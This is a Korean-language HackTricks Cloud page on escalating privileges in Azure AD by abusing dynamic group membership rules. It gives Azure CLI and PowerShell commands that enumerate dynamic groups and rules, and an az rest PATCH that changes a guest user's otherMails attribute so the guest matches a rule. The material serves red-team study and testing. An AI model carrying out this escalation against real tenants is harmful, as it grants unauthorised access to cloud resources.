Az - Dynamic Groups Privesc
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
동적 그룹은 규칙이 구성된 그룹이며, 규칙과 일치하는 모든 사용자 또는 디바이스가 그룹에 추가됩니다. 사용자나 디바이스의 속성이 변경될 때마다, 동적 규칙이 재확인됩니다. 그리고 새 규칙이 생성되면 모든 디바이스와 사용자가 확인됩니다.
동적 그룹에는 Azure RBAC roles assigned를 할당할 수 있지만, 동적 그룹에 AzureAD roles를 추가하는 것은 불가능합니다.
이 기능은 Azure AD premium P1 license가 필요합니다.
Privesc
기본적으로 모든 사용자는 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹의 rule이 새 게스트에서 설정할 수 있는 attributes를 기준으로 사용자에게 permissions을 부여한다면, 이러한 속성을 가진 게스트를 생성하여 escalate privileges할 수 있습니다. 또한 게스트가 자신의 프로필을 관리하고 이러한 속성을 변경하는 것도 가능합니다.
동적 멤버십을 허용하는 그룹 조회: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
동적 그룹 열거
동적 그룹의 규칙 조회:
With Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
PowerShell 및 Microsoft Graph SDK를 사용하여:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
예제
- Rule example:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Rule description: 보조 이메일에 ‘security’ 문자열이 포함된 모든 Guest 사용자는 그룹에 추가됩니다
Guest 사용자 이메일의 초대를 수락하고 https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView에서 해당 사용자의 현재 설정을 확인하세요.
안타깝게도 이 페이지에서는 속성 값을 수정할 수 없으므로 API를 사용해야 합니다:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
참고자료
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

